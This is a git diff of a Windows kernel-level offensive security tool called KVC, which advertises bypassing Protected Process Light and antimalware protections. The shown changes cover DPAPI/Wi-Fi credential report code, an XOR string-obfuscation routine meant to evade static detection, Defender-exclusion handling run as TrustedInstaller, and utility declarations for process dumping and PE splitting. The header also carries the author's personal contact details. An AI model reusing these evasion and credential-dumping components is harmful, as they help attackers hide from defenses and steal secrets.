table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
|
||||||
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
|
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
|
||||||
table << " </tr>\n";
|
table << " </tr>\n";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -337,25 +308,6 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
|
|||||||
return table.str();
|
return table.str();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Convert byte vector to hex string for display
|
|
||||||
std::string ReportExporter::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
|
|
||||||
{
|
|
||||||
if (bytes.empty()) return "N/A";
|
|
||||||
|
|
||||||
std::ostringstream hexStream;
|
|
||||||
hexStream << std::hex << std::setfill('0');
|
|
||||||
|
|
||||||
for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display
|
|
||||||
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (bytes.size() > 32) {
|
|
||||||
hexStream << "...";
|
|
||||||
}
|
|
||||||
|
|
||||||
return hexStream.str();
|
|
||||||
}
|
|
||||||
|
|
||||||
// TXT report generation for lightweight output
|
// TXT report generation for lightweight output
|
||||||
std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
|
std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
|
||||||
{
|
{
|
||||||
@@ -439,17 +391,6 @@ std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept
|
|||||||
return section.str();
|
return section.str();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Utility functions for file handling and encoding
|
|
||||||
std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept
|
|
||||||
{
|
|
||||||
if (wstr.empty()) return "";
|
|
||||||
|
|
||||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL);
|
|
||||||
std::string strTo(size_needed, 0);
|
|
||||||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
|
|
||||||
return strTo;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
|
std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
|
||||||
{
|
{
|
||||||
return outputPath + L"\\dpapi_results.html";
|
return outputPath + L"\\dpapi_results.html";
|
||||||
|
|||||||
@@ -68,11 +68,7 @@ private:
|
|||||||
std::wstring BuildTXTWiFi(const ReportData& data) noexcept;
|
std::wstring BuildTXTWiFi(const ReportData& data) noexcept;
|
||||||
|
|
||||||
// Utility functions for encoding and paths
|
// Utility functions for encoding and paths
|
||||||
std::string WStringToUTF8(const std::wstring& wstr) noexcept;
|
|
||||||
std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
|
std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
|
||||||
std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
|
std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
|
||||||
bool EnsureOutputDirectory(const std::wstring& path) noexcept;
|
bool EnsureOutputDirectory(const std::wstring& path) noexcept;
|
||||||
|
};
|
||||||
// Utility for DPAPI key display
|
|
||||||
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
|
|
||||||
};
|
|
||||||
|
|||||||
@@ -1,87 +0,0 @@
|
|||||||
; RuntimeStr.asm - Thread-safe runtime string configuration provider by WESMAR
|
|
||||||
; Provides configuration strings for kernel operations with atomic initialization
|
|
||||||
; Uses XOR encoding to avoid static string detection in binary analysis
|
|
||||||
; Thread-safe: First caller decodes, others wait via spinlock
|
|
||||||
|
|
||||||
.data
|
|
||||||
ALIGN 8
|
|
||||||
; XOR-encoded wide string data (key: 0ABh)
|
|
||||||
; Decoded at runtime to prevent static analysis detection
|
|
||||||
g_EncodedData dw 00F9h, 00FFh, 00E8h, 00C4h, 00D9h, 00CEh, 009Dh, 009Fh, 00ABh
|
|
||||||
|
|
||||||
; XOR decoding key for runtime string reconstruction
|
|
||||||
g_XorKey dw 00ABh
|
|
||||||
|
|
||||||
; Static buffer for decoded wide string (9 wide chars including null terminator)
|
|
||||||
g_DecodedBuffer dw 9 dup(0)
|
|
||||||
|
|
||||||
; Atomic initialization flag for thread-safe decode
|
|
||||||
; States: 0 = not initialized, 1 = initialization in progress, 2 = initialization complete
|
|
||||||
g_Flag db 0
|
|
||||||
ALIGN 8
|
|
||||||
|
|
||||||
.code
|
|
||||||
ALIGN 16
|
|
||||||
PUBLIC GetServiceNameRaw
|
|
||||||
|
|
||||||
; Runtime string decoder for kernel driver service configuration
|
|
||||||
; Decodes XOR-obfuscated wide string to prevent static string analysis
|
|
||||||
; Returns: RAX = Pointer to decoded null-terminated wide string (const wchar_t*)
|
|
||||||
; Thread-safety: Atomic compare-and-swap ensures single initialization, spinlock for waiters
|
|
||||||
; Performance: First call decodes, subsequent calls return immediately
|
|
||||||
GetServiceNameRaw PROC
|
|
||||||
push rbx
|
|
||||||
push rdi
|
|
||||||
push rsi
|
|
||||||
sub rsp, 20h ; Allocate shadow space for x64 calling convention
|
|
||||||
|
|
||||||
; Atomic attempt to acquire initialization (compare-and-swap 0->1)
|
|
||||||
xor eax, eax ; Expected value = 0 (not initialized)
|
|
||||||
mov cl, 1 ; New value = 1 (in progress)
|
|
||||||
lock cmpxchg byte ptr g_Flag, cl
|
|
||||||
jz do_decode ; ZF=1: we won the race, perform decode
|
|
||||||
|
|
||||||
; Another thread is initializing - spin until complete
|
|
||||||
wait_init:
|
|
||||||
cmp byte ptr g_Flag, 2
|
|
||||||
je done
|
|
||||||
pause ; CPU hint for spinlock efficiency
|
|
||||||
jmp wait_init
|
|
||||||
|
|
||||||
do_decode:
|
|
||||||
; XOR decode operation (only one thread executes this)
|
|
||||||
lea rsi, g_EncodedData ; Source: encoded data
|
|
||||||
lea rdi, g_DecodedBuffer ; Destination: decoded buffer
|
|
||||||
mov rcx, 9 ; String length including null terminator
|
|
||||||
movzx ebx, word ptr g_XorKey ; Load XOR key into register
|
|
||||||
|
|
||||||
decode_loop:
|
|
||||||
; XOR decode: encoded_char XOR key = original_char
|
|
||||||
movzx eax, word ptr [rsi] ; Load encoded wide character
|
|
||||||
xor ax, bx ; Apply XOR decoding
|
|
||||||
mov word ptr [rdi], ax ; Store decoded character
|
|
||||||
|
|
||||||
; Advance pointers to next wide character
|
|
||||||
add rsi, 2 ; Next wide char (2 bytes)
|
|
||||||
add rdi, 2
|
|
||||||
dec rcx
|
|
||||||
jnz decode_loop ; Continue until all characters decoded
|
|
||||||
|
|
||||||
; Optional: Memory fence for strict memory ordering guarantee
|
|
||||||
; mfence
|
|
||||||
|
|
||||||
; Mark initialization as complete (atomic store)
|
|
||||||
mov byte ptr g_Flag, 2
|
|
||||||
|
|
||||||
done:
|
|
||||||
; Return pointer to decoded string
|
|
||||||
lea rax, g_DecodedBuffer
|
|
||||||
|
|
||||||
; Restore stack and non-volatile registers
|
|
||||||
add rsp, 20h
|
|
||||||
pop rsi
|
|
||||||
pop rdi
|
|
||||||
pop rbx
|
|
||||||
ret
|
|
||||||
GetServiceNameRaw ENDP
|
|
||||||
END
|
|
||||||
@@ -1,29 +1,4 @@
|
|||||||
/*******************************************************************************
|
// SelfLoader.cpp
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// SelfLoader.cpp
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "ServiceManager.h"
|
#include "ServiceManager.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "KeyboardHook.h"
|
#include "KeyboardHook.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// SessionManager.cpp
|
// SessionManager.cpp
|
||||||
#include "SessionManager.h"
|
#include "SessionManager.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "TrustedInstallerIntegrator.h"
|
#include "TrustedInstallerIntegrator.h"
|
||||||
#include "common.h" // Assumed to contain SUCCESS, ERROR, INFO macros
|
#include "common.h" // Assumed to contain SUCCESS, ERROR, INFO macros
|
||||||
#include <tchar.h>
|
#include <tchar.h>
|
||||||
@@ -282,7 +257,7 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con
|
|||||||
bool result = RunAsTrustedInstallerSilent(command);
|
bool result = RunAsTrustedInstallerSilent(command);
|
||||||
|
|
||||||
if (result) {
|
if (result) {
|
||||||
SUCCESS(L"Successfully removed from Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str());
|
SUCCESS(L"Windows Defender %s exclusion removal completed: %s", typeStr.c_str(), processedValue.c_str());
|
||||||
} else {
|
} else {
|
||||||
INFO(L"AV cleanup skipped: %s %s", typeStr.c_str(), processedValue.c_str());
|
INFO(L"AV cleanup skipped: %s %s", typeStr.c_str(), processedValue.c_str());
|
||||||
}
|
}
|
||||||
|
|||||||
1817
kvc/Utils.cpp
1817
kvc/Utils.cpp
File diff suppressed because it is too large
Load Diff
292
kvc/Utils.h
292
kvc/Utils.h
@@ -1,3 +1,14 @@
|
|||||||
|
/**
|
||||||
|
* @file Utils.h
|
||||||
|
* @brief Core utility functions declarations for KVC Framework
|
||||||
|
* @author Marek Wesolowski
|
||||||
|
* @date 2025
|
||||||
|
* @copyright KVC Framework
|
||||||
|
*
|
||||||
|
* Header file containing declarations for process management, memory operations,
|
||||||
|
* protection level handling, and various system utilities.
|
||||||
|
*/
|
||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
@@ -6,98 +17,329 @@
|
|||||||
#include <unordered_map>
|
#include <unordered_map>
|
||||||
#include <unordered_set>
|
#include <unordered_set>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <array>
|
||||||
|
|
||||||
namespace Utils
|
namespace Utils
|
||||||
{
|
{
|
||||||
// String and numeric parsing utilities
|
// ============================================================================
|
||||||
|
// STRING AND NUMERIC PARSING UTILITIES
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Parses PID from string with validation
|
||||||
|
* @param pidStr String containing PID value
|
||||||
|
* @return std::optional<DWORD> Parsed PID or nullopt on invalid input
|
||||||
|
*/
|
||||||
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
|
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Checks if string contains only numeric characters
|
||||||
|
* @param str String to validate
|
||||||
|
* @return bool true if string is numeric
|
||||||
|
*/
|
||||||
bool IsNumeric(const std::wstring& str) noexcept;
|
bool IsNumeric(const std::wstring& str) noexcept;
|
||||||
|
|
||||||
// Resource and file operations
|
// ============================================================================
|
||||||
std::vector<BYTE> ReadFile(const std::wstring& path);
|
// FILE AND RESOURCE OPERATIONS (RENAMED TO AVOID WINAPI CONFLICTS)
|
||||||
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
|
// ============================================================================
|
||||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data);
|
|
||||||
|
|
||||||
// Advanced process name resolution
|
/**
|
||||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept;
|
* @brief Reads file contents into byte vector
|
||||||
|
* @param path File path to read
|
||||||
|
* @return std::vector<BYTE> File contents or empty on failure
|
||||||
|
* @note Renamed from ReadFile to avoid conflict with Windows API
|
||||||
|
*/
|
||||||
|
std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads embedded resource from executable
|
||||||
|
* @param resourceId Resource identifier
|
||||||
|
* @param resourceType Resource type (e.g., RT_RCDATA)
|
||||||
|
* @return std::vector<BYTE> Resource data or empty on failure
|
||||||
|
*/
|
||||||
|
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes byte vector to file with error handling
|
||||||
|
* @param path File path to write
|
||||||
|
* @param data Data to write
|
||||||
|
* @return bool true on successful write
|
||||||
|
* @note Renamed from WriteFile to avoid conflict with Windows API
|
||||||
|
*/
|
||||||
|
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Force deletes file by removing attributes and using fallback methods
|
||||||
|
* @param path File path to delete
|
||||||
|
* @return bool true if file deleted successfully
|
||||||
|
*/
|
||||||
|
bool ForceDeleteFile(const std::wstring& path) noexcept;
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// PROCESS NAME RESOLUTION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Resolves process name from PID using multiple methods
|
||||||
|
* @param pid Process ID to resolve
|
||||||
|
* @return std::wstring Process name or "[Unknown]"
|
||||||
|
*/
|
||||||
|
std::wstring GetProcessName(DWORD pid) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Creates descriptive identifier for unknown protected processes
|
||||||
|
* @param pid Process ID
|
||||||
|
* @param kernelAddress Kernel EPROCESS address
|
||||||
|
* @param protectionLevel Protection level byte
|
||||||
|
* @param signerType Signer type byte
|
||||||
|
* @return std::wstring Descriptive process identifier
|
||||||
|
*/
|
||||||
|
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
|
||||||
|
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||||
|
|
||||||
// Kernel operations with inline optimizations
|
// ============================================================================
|
||||||
|
// KERNEL OPERATIONS (INLINE OPTIMIZED)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Resolves kernel base address with caching
|
||||||
|
* @return std::optional<ULONG_PTR> Kernel base or nullopt on failure
|
||||||
|
*/
|
||||||
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
|
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Calculates kernel address from base and offset
|
||||||
|
* @param base Kernel base address
|
||||||
|
* @param offset Offset from base
|
||||||
|
* @return ULONG_PTR Calculated kernel address
|
||||||
|
*/
|
||||||
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
|
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
|
||||||
{
|
{
|
||||||
return base + offset;
|
return base + offset;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// PROTECTION LEVEL BIT MANIPULATION (INLINE FOR PERFORMANCE)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Extracts protection level from combined byte
|
||||||
|
* @param protection Combined protection byte
|
||||||
|
* @return UCHAR Protection level (lower 3 bits)
|
||||||
|
*/
|
||||||
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
|
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
|
||||||
{
|
{
|
||||||
return protection & 0x07;
|
return protection & 0x07;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Extracts signer type from combined byte
|
||||||
|
* @param protection Combined protection byte
|
||||||
|
* @return UCHAR Signer type (upper 4 bits)
|
||||||
|
*/
|
||||||
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
|
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
|
||||||
{
|
{
|
||||||
return (protection & 0xf0) >> 4;
|
return (protection & 0xF0) >> 4;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Combines protection level and signer into single byte
|
||||||
|
* @param protectionLevel Protection level (0-7)
|
||||||
|
* @param signerType Signer type (0-15)
|
||||||
|
* @return UCHAR Combined protection byte
|
||||||
|
*/
|
||||||
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
|
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
|
||||||
{
|
{
|
||||||
return (signerType << 4) | protectionLevel;
|
return (signerType << 4) | protectionLevel;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Extracts signature level value
|
||||||
|
* @param signatureLevel Raw signature level byte
|
||||||
|
* @return UCHAR Signature level value
|
||||||
|
*/
|
||||||
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
|
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
|
||||||
{
|
{
|
||||||
return signatureLevel & 0x0F;
|
return signatureLevel & 0x0F;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Extracts section signature level value
|
||||||
|
* @param sectionSignatureLevel Raw section signature level byte
|
||||||
|
* @return UCHAR Section signature level value
|
||||||
|
*/
|
||||||
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
|
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
|
||||||
{
|
{
|
||||||
return sectionSignatureLevel & 0x0F;
|
return sectionSignatureLevel & 0x0F;
|
||||||
}
|
}
|
||||||
|
|
||||||
// String conversion functions with static caching for performance
|
// ============================================================================
|
||||||
|
// PROTECTION LEVEL STRING CONVERSIONS
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts protection level to human-readable string
|
||||||
|
* @param protectionLevel Protection level byte
|
||||||
|
* @return const wchar_t* String representation ("None", "PPL", "PP")
|
||||||
|
*/
|
||||||
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
|
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts signer type to human-readable string
|
||||||
|
* @param signerType Signer type byte
|
||||||
|
* @return const wchar_t* String representation (e.g., "Windows", "Antimalware")
|
||||||
|
*/
|
||||||
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
|
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts signature level to human-readable string
|
||||||
|
* @param signatureLevel Signature level byte
|
||||||
|
* @return const wchar_t* String representation
|
||||||
|
*/
|
||||||
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
|
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
|
||||||
|
|
||||||
// Parsing functions for command-line input
|
/**
|
||||||
|
* @brief Converts section signature level to human-readable string
|
||||||
|
* @param sectionSignatureLevel Section signature level byte
|
||||||
|
* @return const wchar_t* String representation
|
||||||
|
*/
|
||||||
|
const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept;
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// STRING TO ENUM PARSING
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Parses protection level string to enum value
|
||||||
|
* @param protectionLevel String like "PP", "PPL", "None"
|
||||||
|
* @return std::optional<UCHAR> Protection level value or nullopt
|
||||||
|
*/
|
||||||
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
|
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Parses signer type string to enum value
|
||||||
|
* @param signerType String like "Windows", "Antimalware"
|
||||||
|
* @return std::optional<UCHAR> Signer type value or nullopt
|
||||||
|
*/
|
||||||
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
|
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Gets recommended signature level for signer type
|
||||||
|
* @param signerType Signer type enumeration value
|
||||||
|
* @return std::optional<UCHAR> Signature level or nullopt
|
||||||
|
*/
|
||||||
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
|
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Gets recommended section signature level for signer type
|
||||||
|
* @param signerType Signer type enumeration value
|
||||||
|
* @return std::optional<UCHAR> Section signature level or nullopt
|
||||||
|
*/
|
||||||
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
|
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
|
||||||
|
|
||||||
// Process operations with comprehensive dumpability analysis
|
// ============================================================================
|
||||||
std::wstring GetProcessName(DWORD pid) noexcept;
|
// PROCESS DUMPABILITY ANALYSIS
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Result structure for process dumpability analysis
|
||||||
|
*/
|
||||||
struct ProcessDumpability
|
struct ProcessDumpability
|
||||||
{
|
{
|
||||||
bool CanDump;
|
bool CanDump; ///< Whether process can be dumped
|
||||||
std::wstring Reason;
|
std::wstring Reason; ///< Detailed reason for dumpability status
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Analyzes whether process can be memory dumped
|
||||||
|
* @param pid Process ID
|
||||||
|
* @param processName Process executable name
|
||||||
|
* @param protectionLevel Current protection level
|
||||||
|
* @param signerType Digital signature authority
|
||||||
|
* @return ProcessDumpability Analysis result with reason
|
||||||
|
*/
|
||||||
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
|
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
|
||||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||||
|
|
||||||
// Hex string processing utilities for kernel tools
|
// ============================================================================
|
||||||
|
// HEX STRING UTILITIES
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts hex string to byte array
|
||||||
|
* @param hexString Hex string (supports 0x prefix, spaces, commas)
|
||||||
|
* @param bytes Output byte vector
|
||||||
|
* @return bool true if conversion successful
|
||||||
|
*/
|
||||||
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
|
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Validates hex string format
|
||||||
|
* @param hexString String to validate
|
||||||
|
* @return bool true if valid hex string
|
||||||
|
*/
|
||||||
bool IsValidHexString(const std::wstring& hexString) noexcept;
|
bool IsValidHexString(const std::wstring& hexString) noexcept;
|
||||||
|
|
||||||
// PE parsing and binary manipulation utilities
|
// ============================================================================
|
||||||
|
// PE BINARY MANIPULATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Gets length of PE file from binary data
|
||||||
|
* @param data Binary data containing PE file
|
||||||
|
* @param offset Starting offset in data
|
||||||
|
* @return std::optional<size_t> PE file length or nullopt on invalid PE
|
||||||
|
*/
|
||||||
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
|
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Splits combined PE binary into separate components
|
||||||
|
* @param combined Combined PE data
|
||||||
|
* @param first Output for first PE component
|
||||||
|
* @param second Output for second PE component
|
||||||
|
* @return bool true if splitting successful
|
||||||
|
*/
|
||||||
bool SplitCombinedPE(const std::vector<BYTE>& combined,
|
bool SplitCombinedPE(const std::vector<BYTE>& combined,
|
||||||
std::vector<BYTE>& first,
|
std::vector<BYTE>& first,
|
||||||
std::vector<BYTE>& second) noexcept;
|
std::vector<BYTE>& second) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Decrypts data using XOR cipher
|
||||||
|
* @param encryptedData Data to decrypt
|
||||||
|
* @param key XOR key (7 bytes)
|
||||||
|
* @return std::vector<BYTE> Decrypted data or empty on failure
|
||||||
|
*/
|
||||||
